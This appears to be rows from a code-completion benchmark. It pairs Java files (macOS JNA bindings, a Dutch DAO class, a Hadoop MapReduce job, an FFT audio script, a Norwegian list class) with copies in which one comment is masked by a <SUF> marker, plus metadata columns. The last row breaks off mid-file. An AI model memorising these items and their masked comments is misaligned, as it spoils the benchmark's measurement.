/* * Copyright 2016-2022 The OSHI Project Contributors * SPDX-License-Identifier: MIT */ package oshi.jna.platform.mac; import com.sun.jna.Native; import com.sun.jna.Structure; import com.sun.jna.Structure.FieldOrder; import com.sun.jna.Union; import oshi.jna.platform.unix.CLibrary; import oshi.util.Util; /** * System class. This class should be considered non-API as it may be removed if/when its code is incorporated into the * JNA project. */ public interface SystemB extends com.sun.jna.platform.mac.SystemB, CLibrary { SystemB INSTANCE = Native.load("System", SystemB.class); int PROC_PIDLISTFDS = 1; int PROX_FDTYPE_SOCKET = 2; int PROC_PIDFDSOCKETINFO = 3; int TSI_T_NTIMERS = 4; int SOCKINFO_IN = 1; int SOCKINFO_TCP = 2; int UTX_USERSIZE = 256; int UTX_LINESIZE = 32; int UTX_IDSIZE = 4; int UTX_HOSTSIZE = 256; int AF_INET = 2; // The Internet Protocol version 4 (IPv4) address family. int AF_INET6 = 30; // The Internet Protocol version 6 (IPv6) address family. /** * Mac connection info */ @FieldOrder({ "ut_user", "ut_id", "ut_line", "ut_pid", "ut_type", "ut_tv", "ut_host", "ut_pad" }) class MacUtmpx extends Structure { public byte[] ut_user = new byte[UTX_USERSIZE]; // login name public byte[] ut_id = new byte[UTX_IDSIZE]; // id public byte[] ut_line = new byte[UTX_LINESIZE]; // tty name public int ut_pid; // process id creating the entry public short ut_type; // type of this entry public Timeval ut_tv; // time entry was created public byte[] ut_host = new byte[UTX_HOSTSIZE]; // host name public byte[] ut_pad = new byte[16]; // reserved for future use } /** * Mac file descriptor info */ @FieldOrder({ "proc_fd", "proc_fdtype" }) class ProcFdInfo extends Structure { public int proc_fd; public int proc_fdtype; } /** * Mac internet socket info */ @FieldOrder({ "insi_fport", "insi_lport", "insi_gencnt", "insi_flags", "insi_flow", "insi_vflag", "insi_ip_ttl", "rfu_1", "insi_faddr", "insi_laddr", "insi_v4", "insi_v6" }) class InSockInfo extends Structure { public int insi_fport; /* foreign port */ public int insi_lport; /* local port */ public long insi_gencnt; /* generation count of this instance */ public int insi_flags; /* generic IP/datagram flags */ public int insi_flow; public byte insi_vflag; /* ini_IPV4 or ini_IPV6 */ public byte insi_ip_ttl; /* time to live proto */ public int rfu_1; /* reserved */ /* protocol dependent part,<SUF>*/ public int[] insi_faddr = new int[4]; /* foreign host table entry */ public int[] insi_laddr = new int[4]; /* local host table entry */ public byte insi_v4; /* type of service */ public byte[] insi_v6 = new byte[9]; } /** * Mac TCP socket info */ @FieldOrder({ "tcpsi_ini", "tcpsi_state", "tcpsi_timer", "tcpsi_mss", "tcpsi_flags", "rfu_1", "tcpsi_tp" }) class TcpSockInfo extends Structure { public InSockInfo tcpsi_ini; public int tcpsi_state; public int[] tcpsi_timer = new int[TSI_T_NTIMERS]; public int tcpsi_mss; public int tcpsi_flags; public int rfu_1; /* reserved */ public long tcpsi_tp; /* opaque handle of TCP protocol control block */ } /** * Mack IP Socket Info */ @FieldOrder({ "soi_stat", "soi_so", "soi_pcb", "soi_type", "soi_protocol", "soi_family", "soi_options", "soi_linger", "soi_state", "soi_qlen", "soi_incqlen", "soi_qlimit", "soi_timeo", "soi_error", "soi_oobmark", "soi_rcv", "soi_snd", "soi_kind", "rfu_1", "soi_proto" }) class SocketInfo extends Structure { public long[] soi_stat = new long[17]; // vinfo_stat public long soi_so; /* opaque handle of socket */ public long soi_pcb; /* opaque handle of protocol control block */ public int soi_type; public int soi_protocol; public int soi_family; public short soi_options; public short soi_linger; public short soi_state; public short soi_qlen; public short soi_incqlen; public short soi_qlimit; public short soi_timeo; public short soi_error; public int soi_oobmark; public int[] soi_rcv = new int[6]; // sockbuf_info public int[] soi_snd = new int[6]; // sockbuf_info public int soi_kind; public int rfu_1; /* reserved */ public Pri soi_proto; } /** * Mac file info */ @FieldOrder({ "fi_openflags", "fi_status", "fi_offset", "fi_type", "fi_guardflags" }) class ProcFileInfo extends Structure { public int fi_openflags; public int fi_status; public long fi_offset; public int fi_type; public int fi_guardflags; } /** * Mac socket info */ @FieldOrder({ "pfi", "psi" }) class SocketFdInfo extends Structure implements AutoCloseable { public ProcFileInfo pfi; public SocketInfo psi; @Override public void close() { Util.freeMemory(getPointer()); } } /** * Union for TCP or internet socket info */ class Pri extends Union { public InSockInfo pri_in; public TcpSockInfo pri_tcp; // max element is 524 bytes public byte[] max_size = new byte[524]; } /** * Reads a line from the current file position in the utmp file. It returns a pointer to a structure containing the * fields of the line. * <p> * Not thread safe * * @return a {@link MacUtmpx} on success, and NULL on failure (which includes the "record not found" case) */ MacUtmpx getutxent(); int proc_pidfdinfo(int pid, int fd, int flavor, Structure buffer, int buffersize); }
False
1,625
12
1,773
12
1,855
12
1,773
12
2,019
12
false
false
false
false
false
true
4,479
177492_1
package nl.hu.ipass.persistence; import java.sql.Connection; import java.sql.Date; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; import java.text.ParseException; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.List; import nl.hu.ipass.model.Verzoek; public class VerzoekDAO extends BaseDAO { public List<Verzoek> findAll() { List<Verzoek> verzoeken = new ArrayList<Verzoek>(); try (Connection conn = super.getConnection()) { PreparedStatement pstat = conn.prepareStatement("SELECT * FROM verzoek"); ResultSet rs = pstat.executeQuery(); while (rs.next()) { int verzoekid = rs.getInt("verzoekid"); String naam_bedrijf = rs.getString("naam_bedrijf"); String voornaam = rs.getString("voornaam"); String achternaam = rs.getString("achternaam"); String straat = rs.getString("straat"); String huisnummer = rs.getString("huisnummer"); String woonplaats = rs.getString("woonplaats"); String postcode = rs.getString("postcode"); String email = rs.getString("email"); Date gbdatum = rs.getDate("gbdatum"); String geslacht = rs.getString("geslacht"); String telnummer = rs.getString("telefoonnummer"); // String wachtwoord = rs.getString("wachtwoord"); boolean aanwezig = rs.getBoolean("aanwezig"); Date datum_ontvangen = rs.getDate("datum_ontvangen"); verzoeken.add(new Verzoek(verzoekid, naam_bedrijf, voornaam, achternaam, straat, huisnummer, woonplaats, postcode, email, gbdatum, geslacht, telnummer, aanwezig, datum_ontvangen)); } rs.close(); pstat.close(); } catch(SQLException s) { s.printStackTrace(); } return verzoeken; } public Verzoek findVerzoekById(int id) { List<Verzoek> verzoeken = new ArrayList<Verzoek>(); try (Connection conn = super.getConnection()) { PreparedStatement pstat = conn.prepareStatement("SELECT * FROM verzoek WHERE verzoekid = '" + id + "'"); ResultSet rs = pstat.executeQuery(); while (rs.next()) { int verzoekid = rs.getInt("verzoekid"); String naam_bedrijf = rs.getString("naam_bedrijf"); String voornaam = rs.getString("voornaam"); String achternaam = rs.getString("achternaam"); String straat = rs.getString("straat"); String huisnummer = rs.getString("huisnummer"); String woonplaats = rs.getString("woonplaats"); String postcode = rs.getString("postcode"); String email = rs.getString("email"); Date gbdatum = rs.getDate("gbdatum"); String geslacht = rs.getString("geslacht"); String telnummer = rs.getString("telefoonnummer"); // String wachtwoord = rs.getString("wachtwoord"); boolean aanwezig = rs.getBoolean("aanwezig"); Date datum_ontvangen = rs.getDate("datum_ontvangen"); verzoeken.add(new Verzoek(verzoekid, naam_bedrijf, voornaam, achternaam, straat, huisnummer, woonplaats, postcode, email, gbdatum, geslacht, telnummer, aanwezig, datum_ontvangen)); } if (verzoeken.size() > 0) { rs.close(); pstat.close(); return verzoeken.get(0); } rs.close(); pstat.close(); } catch (SQLException s) { s.printStackTrace(); } return null; } public void saveVerzoek(Verzoek verzoek) throws ParseException { try (Connection conn = super.getConnection()) { PreparedStatement pstat = conn.prepareStatement("INSERT INTO " + "verzoek (naam_bedrijf, voornaam, achternaam, " + "straat, huisnummer, woonplaats, " + "postcode, email, gbdatum, " + "geslacht, telefoonnummer, datum_ontvangen) " + "VALUES(?,?,?, ?,?,?, ?,?,?, ?,?,?)"); pstat.setString(1, verzoek.getNaam_bedrijf()); pstat.setString(2, verzoek.getVoornaam()); pstat.setString(3, verzoek.getAchternaam()); pstat.setString(4, verzoek.getStraat()); pstat.setString(5, verzoek.getNummer()); pstat.setString(6, verzoek.getWoonplaats()); pstat.setString(7, verzoek.getPostcode()); pstat.setString(8, verzoek.getEmail()); pstat.setDate(9, fromStringToDate(verzoek.getGbdatumS())); pstat.setString(10, verzoek.getGeslacht()); pstat.setString(11, verzoek.getTelnummer()); // pstat.setString(12, verzoek.getWachtwoord()); pstat.setDate(12, fromStringToDate(verzoek.getDatum_ontvangenS())); // System.out.println("komt hier"); pstat.executeUpdate(); pstat.close(); } catch (SQLException s) { s.printStackTrace(); } } public void deleteVerzoekById(int verzoekid) { try (Connection conn = super.getConnection()) { PreparedStatement p = conn.prepareStatement("DELETE FROM verzoek " + " WHERE verzoekid = ?"); p.setInt(1, verzoekid); p.executeUpdate(); // System.out.println("Verzoek verwijderd!"); p.close(); } catch (SQLException s) { s.printStackTrace(); } } private java.sql.Date fromStringToDate(String s) throws ParseException { SimpleDateFormat sdf = new SimpleDateFormat("dd-MM-yyyy"); java.util.Date utilDate = sdf.parse(s); java.sql.Date sqlDate = new Date(utilDate.getTime()); return sqlDate; } }
thebaron2/ipass
src/main/java/nl/hu/ipass/persistence/VerzoekDAO.java
1,881
// String wachtwoord = rs.getString("wachtwoord");
line_comment
nl
package nl.hu.ipass.persistence; import java.sql.Connection; import java.sql.Date; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; import java.text.ParseException; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.List; import nl.hu.ipass.model.Verzoek; public class VerzoekDAO extends BaseDAO { public List<Verzoek> findAll() { List<Verzoek> verzoeken = new ArrayList<Verzoek>(); try (Connection conn = super.getConnection()) { PreparedStatement pstat = conn.prepareStatement("SELECT * FROM verzoek"); ResultSet rs = pstat.executeQuery(); while (rs.next()) { int verzoekid = rs.getInt("verzoekid"); String naam_bedrijf = rs.getString("naam_bedrijf"); String voornaam = rs.getString("voornaam"); String achternaam = rs.getString("achternaam"); String straat = rs.getString("straat"); String huisnummer = rs.getString("huisnummer"); String woonplaats = rs.getString("woonplaats"); String postcode = rs.getString("postcode"); String email = rs.getString("email"); Date gbdatum = rs.getDate("gbdatum"); String geslacht = rs.getString("geslacht"); String telnummer = rs.getString("telefoonnummer"); // String wachtwoord = rs.getString("wachtwoord"); boolean aanwezig = rs.getBoolean("aanwezig"); Date datum_ontvangen = rs.getDate("datum_ontvangen"); verzoeken.add(new Verzoek(verzoekid, naam_bedrijf, voornaam, achternaam, straat, huisnummer, woonplaats, postcode, email, gbdatum, geslacht, telnummer, aanwezig, datum_ontvangen)); } rs.close(); pstat.close(); } catch(SQLException s) { s.printStackTrace(); } return verzoeken; } public Verzoek findVerzoekById(int id) { List<Verzoek> verzoeken = new ArrayList<Verzoek>(); try (Connection conn = super.getConnection()) { PreparedStatement pstat = conn.prepareStatement("SELECT * FROM verzoek WHERE verzoekid = '" + id + "'"); ResultSet rs = pstat.executeQuery(); while (rs.next()) { int verzoekid = rs.getInt("verzoekid"); String naam_bedrijf = rs.getString("naam_bedrijf"); String voornaam = rs.getString("voornaam"); String achternaam = rs.getString("achternaam"); String straat = rs.getString("straat"); String huisnummer = rs.getString("huisnummer"); String woonplaats = rs.getString("woonplaats"); String postcode = rs.getString("postcode"); String email = rs.getString("email"); Date gbdatum = rs.getDate("gbdatum"); String geslacht = rs.getString("geslacht"); String telnummer = rs.getString("telefoonnummer"); // String wachtwoord<SUF> boolean aanwezig = rs.getBoolean("aanwezig"); Date datum_ontvangen = rs.getDate("datum_ontvangen"); verzoeken.add(new Verzoek(verzoekid, naam_bedrijf, voornaam, achternaam, straat, huisnummer, woonplaats, postcode, email, gbdatum, geslacht, telnummer, aanwezig, datum_ontvangen)); } if (verzoeken.size() > 0) { rs.close(); pstat.close(); return verzoeken.get(0); } rs.close(); pstat.close(); } catch (SQLException s) { s.printStackTrace(); } return null; } public void saveVerzoek(Verzoek verzoek) throws ParseException { try (Connection conn = super.getConnection()) { PreparedStatement pstat = conn.prepareStatement("INSERT INTO " + "verzoek (naam_bedrijf, voornaam, achternaam, " + "straat, huisnummer, woonplaats, " + "postcode, email, gbdatum, " + "geslacht, telefoonnummer, datum_ontvangen) " + "VALUES(?,?,?, ?,?,?, ?,?,?, ?,?,?)"); pstat.setString(1, verzoek.getNaam_bedrijf()); pstat.setString(2, verzoek.getVoornaam()); pstat.setString(3, verzoek.getAchternaam()); pstat.setString(4, verzoek.getStraat()); pstat.setString(5, verzoek.getNummer()); pstat.setString(6, verzoek.getWoonplaats()); pstat.setString(7, verzoek.getPostcode()); pstat.setString(8, verzoek.getEmail()); pstat.setDate(9, fromStringToDate(verzoek.getGbdatumS())); pstat.setString(10, verzoek.getGeslacht()); pstat.setString(11, verzoek.getTelnummer()); // pstat.setString(12, verzoek.getWachtwoord()); pstat.setDate(12, fromStringToDate(verzoek.getDatum_ontvangenS())); // System.out.println("komt hier"); pstat.executeUpdate(); pstat.close(); } catch (SQLException s) { s.printStackTrace(); } } public void deleteVerzoekById(int verzoekid) { try (Connection conn = super.getConnection()) { PreparedStatement p = conn.prepareStatement("DELETE FROM verzoek " + " WHERE verzoekid = ?"); p.setInt(1, verzoekid); p.executeUpdate(); // System.out.println("Verzoek verwijderd!"); p.close(); } catch (SQLException s) { s.printStackTrace(); } } private java.sql.Date fromStringToDate(String s) throws ParseException { SimpleDateFormat sdf = new SimpleDateFormat("dd-MM-yyyy"); java.util.Date utilDate = sdf.parse(s); java.sql.Date sqlDate = new Date(utilDate.getTime()); return sqlDate; } }
False
1,362
14
1,692
18
1,556
15
1,692
18
2,144
18
false
false
false
false
false
true
1,227
129795_3
import java.io.IOException; import java.util.StringTokenizer; import org.apache.hadoop.conf.Configuration; import org.apache.hadoop.fs.Path; import org.apache.hadoop.io.IntWritable; import org.apache.hadoop.io.Text; import org.apache.hadoop.mapreduce.Job; import org.apache.hadoop.mapreduce.Mapper; import org.apache.hadoop.mapreduce.Reducer; import org.apache.hadoop.mapreduce.lib.input.FileInputFormat; import org.apache.hadoop.mapreduce.lib.output.FileOutputFormat; public class StartLetter { // Mapper -> classes tussen <> zijn de classen van de (input key, input_value, output_key, output_value) public static class WCMapper extends Mapper<Object, Text, Text, IntWritable>{ // hier komt de mapfunctie in public void map(Object key, Text value, Context context) throws IOException, InterruptedException { // map functie leest lijn per lijn // lijn splitsen in woorden // hello world StringTokenizer itr = new StringTokenizer(value.toString()); // itr = [hello, world] while(itr.hasMoreTokens()){ // hello -> (h, 1) // worlds -> (w, 1) String woord = itr.nextToken(); woord = woord.toLowerCase(); char firstLetter = woord.charAt(0); if(Character.isLetter(firstLetter)){ Text word = new Text(); word.set(Character.toString(firstLetter)); context.write(word, new IntWritable(1)); } } } } // Reducer -> classes tussen <> zijn de classen van de (input key, input_value, output_key, output_value) public static class WCReducer extends Reducer<Text, IntWritable, Text, IntWritable>{ public void reduce(Text key, Iterable<IntWritable> values, Context context) throws IOException, InterruptedException { // key = hello, values = [1, 1, 1, 1] int sum = 0; for (IntWritable val: values) { sum += val.get(); } System.out.println(sum); context.write(key, new IntWritable(sum)); } } // configure the MapReduce program public static void main(String[] args) throws Exception { Configuration conf = new Configuration(); Job job = Job.getInstance(conf, "start letter java"); job.setJarByClass(WordCount.class); // configure mapper job.setMapperClass(WCMapper.class); // configure combiner (soort van reducer die draait op mapping node voor performantie) job.setCombinerClass(WCReducer.class); // configure reducer job.setReducerClass(WCReducer.class); // set output key-value classes job.setOutputKeyClass(Text.class); job.setOutputValueClass(IntWritable.class); // set input file (first argument passed to the program) FileInputFormat.addInputPath(job, new Path(args[0])); // set output file (second argument passed to the program) FileOutputFormat.setOutputPath(job, new Path(args[1])); // In this case, we wait for completion to get the output/logs and not stop the program to early. System.exit(job.waitForCompletion(true) ? 0 : 1); } }
OdiseeBigData2223/Leerstof
Week 2/StartLetter.java
939
// lijn splitsen in woorden
line_comment
nl
import java.io.IOException; import java.util.StringTokenizer; import org.apache.hadoop.conf.Configuration; import org.apache.hadoop.fs.Path; import org.apache.hadoop.io.IntWritable; import org.apache.hadoop.io.Text; import org.apache.hadoop.mapreduce.Job; import org.apache.hadoop.mapreduce.Mapper; import org.apache.hadoop.mapreduce.Reducer; import org.apache.hadoop.mapreduce.lib.input.FileInputFormat; import org.apache.hadoop.mapreduce.lib.output.FileOutputFormat; public class StartLetter { // Mapper -> classes tussen <> zijn de classen van de (input key, input_value, output_key, output_value) public static class WCMapper extends Mapper<Object, Text, Text, IntWritable>{ // hier komt de mapfunctie in public void map(Object key, Text value, Context context) throws IOException, InterruptedException { // map functie leest lijn per lijn // lijn splitsen<SUF> // hello world StringTokenizer itr = new StringTokenizer(value.toString()); // itr = [hello, world] while(itr.hasMoreTokens()){ // hello -> (h, 1) // worlds -> (w, 1) String woord = itr.nextToken(); woord = woord.toLowerCase(); char firstLetter = woord.charAt(0); if(Character.isLetter(firstLetter)){ Text word = new Text(); word.set(Character.toString(firstLetter)); context.write(word, new IntWritable(1)); } } } } // Reducer -> classes tussen <> zijn de classen van de (input key, input_value, output_key, output_value) public static class WCReducer extends Reducer<Text, IntWritable, Text, IntWritable>{ public void reduce(Text key, Iterable<IntWritable> values, Context context) throws IOException, InterruptedException { // key = hello, values = [1, 1, 1, 1] int sum = 0; for (IntWritable val: values) { sum += val.get(); } System.out.println(sum); context.write(key, new IntWritable(sum)); } } // configure the MapReduce program public static void main(String[] args) throws Exception { Configuration conf = new Configuration(); Job job = Job.getInstance(conf, "start letter java"); job.setJarByClass(WordCount.class); // configure mapper job.setMapperClass(WCMapper.class); // configure combiner (soort van reducer die draait op mapping node voor performantie) job.setCombinerClass(WCReducer.class); // configure reducer job.setReducerClass(WCReducer.class); // set output key-value classes job.setOutputKeyClass(Text.class); job.setOutputValueClass(IntWritable.class); // set input file (first argument passed to the program) FileInputFormat.addInputPath(job, new Path(args[0])); // set output file (second argument passed to the program) FileOutputFormat.setOutputPath(job, new Path(args[1])); // In this case, we wait for completion to get the output/logs and not stop the program to early. System.exit(job.waitForCompletion(true) ? 0 : 1); } }
True
681
8
802
8
837
6
802
8
936
9
false
false
false
false
false
true
748
100666_1
import org.apache.commons.math3.complex.Complex;_x000D_ import org.apache.commons.math3.transform.DftNormalization;_x000D_ import org.apache.commons.math3.transform.FastFourierTransformer;_x000D_ import org.apache.commons.math3.transform.TransformType;_x000D_ _x000D_ import javax.sound.sampled.AudioInputStream;_x000D_ import javax.sound.sampled.AudioSystem;_x000D_ import java.io.*;_x000D_ import javax.sound.sampled.UnsupportedAudioFileException;_x000D_ _x000D_ public class AudioProcessor {_x000D_ public static void main(String[] args) {_x000D_ File audioFile = new File("RecordAudio.wav");_x000D_ _x000D_ try {_x000D_ _x000D_ // Open het audiobestand_x000D_ AudioInputStream audioStream = AudioSystem.getAudioInputStream(audioFile);_x000D_ _x000D_ // Bepaal een buffergrootte_x000D_ int bufferSize = 4096;_x000D_ byte[] audioData = new byte[bufferSize];_x000D_ int bytesRead;_x000D_ _x000D_ // Lees de audiogegevens in de array_x000D_ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();_x000D_ while ((bytesRead = audioStream.read(audioData, 0, bufferSize)) != -1) {_x000D_ byteArrayOutputStream.write(audioData, 0, bytesRead);_x000D_ }_x000D_ _x000D_ byte[] audioDataArray = byteArrayOutputStream.toByteArray();_x000D_ _x000D_ System.out.println("Audiogegevens gelezen: " + audioDataArray.length + " bytes");_x000D_ _x000D_ // Voer Fourier-transformatie uit met Apache Commons Math_x000D_ double[] audioSamples = new double[audioDataArray.length / 2]; // 2 wegen de stero geluid_x000D_ _x000D_ for (int i = 0; i < audioSamples.length; i++) {_x000D_ audioSamples[i] = (double)((audioDataArray[i * 2] & 0xFF) | (audioDataArray[i * 2 + 1] << 8)) / 32768.0;_x000D_ }_x000D_ _x000D_ // Calculate the next power of 2 for the length of audioSamples_x000D_ int powerOf2Length = 1;_x000D_ while (powerOf2Length < audioSamples.length) {_x000D_ powerOf2Length *= 2;_x000D_ }_x000D_ _x000D_ // Pad the audio data with zeros to the next power of 2_x000D_ double[] paddedAudioSamples = new double[powerOf2Length];_x000D_ System.arraycopy(audioSamples, 0, paddedAudioSamples, 0, audioSamples.length);_x000D_ _x000D_ // Voer de Fourier-transformatie uit op het opgevulde audioSamples_x000D_ FastFourierTransformer transformer = new FastFourierTransformer(DftNormalization.STANDARD);_x000D_ Complex[] complexSamples = transformer.transform(paddedAudioSamples, TransformType.FORWARD);_x000D_ int[] positiveIntSamples = new int[complexSamples.length];_x000D_ for (int i = 0; i < complexSamples.length; i++) {_x000D_ complexSamples[i] = Complex.valueOf(complexSamples[i].abs()); // Ensure the value is positive_x000D_ }_x000D_ System.out.println(positiveIntSamples.length);_x000D_ _x000D_ // Save the complexSamples to a text file_x000D_ try (BufferedWriter writer = new BufferedWriter(new FileWriter("complexSamples.txt"))) {_x000D_ for (Complex complex : complexSamples) {_x000D_ writer.write(complex.getReal() + " " + complex.getImaginary() + "\n");_x000D_ }_x000D_ } catch (IOException e) {_x000D_ e.printStackTrace();_x000D_ }_x000D_ _x000D_ _x000D_ // Nu heb je de frequentiegegevens in de complexSamples-array en kun je verdere verwerking uitvoeren._x000D_ _x000D_ // Sluit het audiobestand_x000D_ audioStream.close();_x000D_ } catch (UnsupportedAudioFileException | IOException e) {_x000D_ e.printStackTrace();_x000D_ }_x000D_ _x000D_ _x000D_ }_x000D_ }_x000D_
IhabSaf/AudioAnalyzer
AudioProcessor.java
996
// Bepaal een buffergrootte_x000D_
line_comment
nl
import org.apache.commons.math3.complex.Complex;_x000D_ import org.apache.commons.math3.transform.DftNormalization;_x000D_ import org.apache.commons.math3.transform.FastFourierTransformer;_x000D_ import org.apache.commons.math3.transform.TransformType;_x000D_ _x000D_ import javax.sound.sampled.AudioInputStream;_x000D_ import javax.sound.sampled.AudioSystem;_x000D_ import java.io.*;_x000D_ import javax.sound.sampled.UnsupportedAudioFileException;_x000D_ _x000D_ public class AudioProcessor {_x000D_ public static void main(String[] args) {_x000D_ File audioFile = new File("RecordAudio.wav");_x000D_ _x000D_ try {_x000D_ _x000D_ // Open het audiobestand_x000D_ AudioInputStream audioStream = AudioSystem.getAudioInputStream(audioFile);_x000D_ _x000D_ // Bepaal een<SUF> int bufferSize = 4096;_x000D_ byte[] audioData = new byte[bufferSize];_x000D_ int bytesRead;_x000D_ _x000D_ // Lees de audiogegevens in de array_x000D_ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();_x000D_ while ((bytesRead = audioStream.read(audioData, 0, bufferSize)) != -1) {_x000D_ byteArrayOutputStream.write(audioData, 0, bytesRead);_x000D_ }_x000D_ _x000D_ byte[] audioDataArray = byteArrayOutputStream.toByteArray();_x000D_ _x000D_ System.out.println("Audiogegevens gelezen: " + audioDataArray.length + " bytes");_x000D_ _x000D_ // Voer Fourier-transformatie uit met Apache Commons Math_x000D_ double[] audioSamples = new double[audioDataArray.length / 2]; // 2 wegen de stero geluid_x000D_ _x000D_ for (int i = 0; i < audioSamples.length; i++) {_x000D_ audioSamples[i] = (double)((audioDataArray[i * 2] & 0xFF) | (audioDataArray[i * 2 + 1] << 8)) / 32768.0;_x000D_ }_x000D_ _x000D_ // Calculate the next power of 2 for the length of audioSamples_x000D_ int powerOf2Length = 1;_x000D_ while (powerOf2Length < audioSamples.length) {_x000D_ powerOf2Length *= 2;_x000D_ }_x000D_ _x000D_ // Pad the audio data with zeros to the next power of 2_x000D_ double[] paddedAudioSamples = new double[powerOf2Length];_x000D_ System.arraycopy(audioSamples, 0, paddedAudioSamples, 0, audioSamples.length);_x000D_ _x000D_ // Voer de Fourier-transformatie uit op het opgevulde audioSamples_x000D_ FastFourierTransformer transformer = new FastFourierTransformer(DftNormalization.STANDARD);_x000D_ Complex[] complexSamples = transformer.transform(paddedAudioSamples, TransformType.FORWARD);_x000D_ int[] positiveIntSamples = new int[complexSamples.length];_x000D_ for (int i = 0; i < complexSamples.length; i++) {_x000D_ complexSamples[i] = Complex.valueOf(complexSamples[i].abs()); // Ensure the value is positive_x000D_ }_x000D_ System.out.println(positiveIntSamples.length);_x000D_ _x000D_ // Save the complexSamples to a text file_x000D_ try (BufferedWriter writer = new BufferedWriter(new FileWriter("complexSamples.txt"))) {_x000D_ for (Complex complex : complexSamples) {_x000D_ writer.write(complex.getReal() + " " + complex.getImaginary() + "\n");_x000D_ }_x000D_ } catch (IOException e) {_x000D_ e.printStackTrace();_x000D_ }_x000D_ _x000D_ _x000D_ // Nu heb je de frequentiegegevens in de complexSamples-array en kun je verdere verwerking uitvoeren._x000D_ _x000D_ // Sluit het audiobestand_x000D_ audioStream.close();_x000D_ } catch (UnsupportedAudioFileException | IOException e) {_x000D_ e.printStackTrace();_x000D_ }_x000D_ _x000D_ _x000D_ }_x000D_ }_x000D_
True
1,247
15
1,355
17
1,388
16
1,355
17
1,512
16
false
false
false
false
false
true
345
197220_0
package modules; import java.util.Arrays; import java.util.ConcurrentModificationException; import java.util.Iterator; import java.util.NoSuchElementException; import java.util.Objects; import java.util.StringJoiner; import java.util.function.Consumer; import java.util.function.Predicate; public class TabellListe<T> implements Liste<T> { private T[] a; private int antall; private int endringer; public TabellListe(int størrelse) // konstruktør { @SuppressWarnings("unchecked") // pga. konverteringen: Object[] -> T[] T[] b = (T[]) new Object[størrelse]; // oppretter tabellen a = b; antall = 0; // foreløpig ingen verdier endringer = 0; // foreløpig ingen endringer } public TabellListe() // standardkonstruktør { this(10); // startstørrelse på 10 } public TabellListe(T[] b) // en T-tabell som parameter { this(b.length); // kaller en konstruktør for (T verdi : b) { if (verdi != null) a[antall++] = verdi; // hopper over null-verdier } } private static void fratilKontroll(int antall, int fra, int til) { if (fra < 0) // fra er negativ throw new IndexOutOfBoundsException ("fra(" + fra + ") er negativ!"); if (til > antall) // til er utenfor tabellen throw new IndexOutOfBoundsException ("til(" + til + ") > antall(" + antall + ")"); if (fra > til) // fra er større enn til throw new IllegalArgumentException ("fra(" + fra + ") > til(" + til + ") - illegalt intervall!"); } public Liste<T> subliste(int fra, int til) { fratilKontroll(antall, fra, til); TabellListe<T> liste = new TabellListe<>(til - fra); for (int i = fra, j = 0; i < til; i++, j++) liste.a[j] = a[i]; liste.antall = til - fra; return liste; } @Override public boolean leggInn(T verdi) // inn bakerst { Objects.requireNonNull(verdi, "null er ulovlig!"); // En full tabell utvides med 50% if (antall == a.length) { a = Arrays.copyOf(a,(3*antall)/2 + 1); } a[antall++] = verdi; // setter inn ny verdi endringer++; return true; } @Override public void leggInn(int indeks, T verdi) { Objects.requireNonNull(verdi, "null er ulovlig!"); indeksKontroll(indeks, true); // true: indeks = antall er lovlig // En full tabell utvides med 50% if (antall == a.length) a = Arrays.copyOf(a,(3*antall)/2 + 1); // rydder plass til den nye verdien for (int i = antall; i > indeks; i--) a[i] = a[i-1]; a[indeks] = verdi; // setter inn ny verdi antall++; // en ny verdi endringer++; // en endring } @Override public int antall() { return antall; // returnerer antallet } @Override public boolean tom() { return antall == 0; // listen er tom hvis antall er 0 } @Override public T hent(int indeks) { indeksKontroll(indeks, false); // false: indeks = antall er ulovlig return a[indeks]; // returnerer er tabellelement } @Override public int indeksTil(T verdi) { for (int i = 0; i < antall; i++) { if (a[i].equals(verdi)) return i; // funnet! } return -1; // ikke funnet! } @Override public boolean inneholder(T verdi) { return indeksTil(verdi) != -1; } @Override public T oppdater(int indeks, T verdi) { Objects.requireNonNull(verdi, "null er ulovlig!"); indeksKontroll(indeks, false); // false: indeks = antall er ulovlig T gammelverdi = a[indeks]; // tar vare på den gamle verdien a[indeks] = verdi; // oppdaterer endringer++; // en endring return gammelverdi; // returnerer den gamle verdien } @Override public T fjern(int indeks) { indeksKontroll(indeks, false); // false: indeks = antall er ulovlig T verdi = a[indeks]; antall--; // reduserer antallet // sletter ved å flytte verdier mot venstre for (int i = indeks; i < antall; i++) a[i] = a[i + 1]; a[antall] = null; // tilrettelegger for "søppeltømming" endringer++; return verdi; } @Override public boolean fjern(T verdi) { Objects.requireNonNull(verdi, "null er ulovlig!"); for (int i = 0; i < antall; i++) { if (a[i].equals(verdi)) { antall--; // reduserer antallet // sletter ved å flytte verdier mot venstre for (int j = i; j < antall; j++) a[j] = a[j + 1]; a[antall] = null; // tilrettelegger for "søppeltømming" endringer++; return true; // vellykket fjerning } } return false; // ingen fjerning } @Override public boolean fjernHvis(Predicate<? super T> p) // betingelsesfjerning { Objects.requireNonNull(p, "predikatet er null"); // kaster unntak int nyttAntall = antall; for (int i = 0, j = 0; j < antall; j++) { if (p.test(a[j])) nyttAntall--; // a[j] skal fjernes else a[i++] = a[j]; // forskyver } for (int i = nyttAntall; i < antall; i++) { a[i] = null; // tilrettelegger for "søppeltømming" } boolean fjernet = nyttAntall < antall; if (fjernet) endringer++; antall = nyttAntall; return fjernet; } @Override @SuppressWarnings("unchecked") public void nullstill() { if (a.length > 10) a = (T[])new Object[10]; else for (int i = 0; i < antall; i++) { a[i] = null; } antall = 0; endringer++; } public String toString2() { StringBuilder s = new StringBuilder("["); if (!tom()) { s.append(a[0]); for (int i = 1; i < antall; i++) { s.append(',').append(' ').append(a[i]); } } s.append(']'); return s.toString(); } @Override public String toString() { StringJoiner s = new StringJoiner(", ","[","]"); for (int i = 0; i < antall; i++) s.add(a[i].toString()); return s.toString(); } @SuppressWarnings("unchecked") public <T> T[] tilTabell(T[] b) { if (b.length < antall) return (T[]) Arrays.copyOf(a, antall, b.getClass()); System.arraycopy(a, 0, b, 0, antall); if (b.length > antall) b[antall] = null; return b; } @Override public void forEach(Consumer<? super T> action) { for (int i = 0; i < antall; i++) { action.accept(a[i]); } } @Override public Iterator<T> iterator() { return new TabellListeIterator(); } private class TabellListeIterator implements Iterator<T> { private int denne; // instansvariabel private boolean fjernOK; // instansvariabel private int iteratorendringer; // instansvariabel private 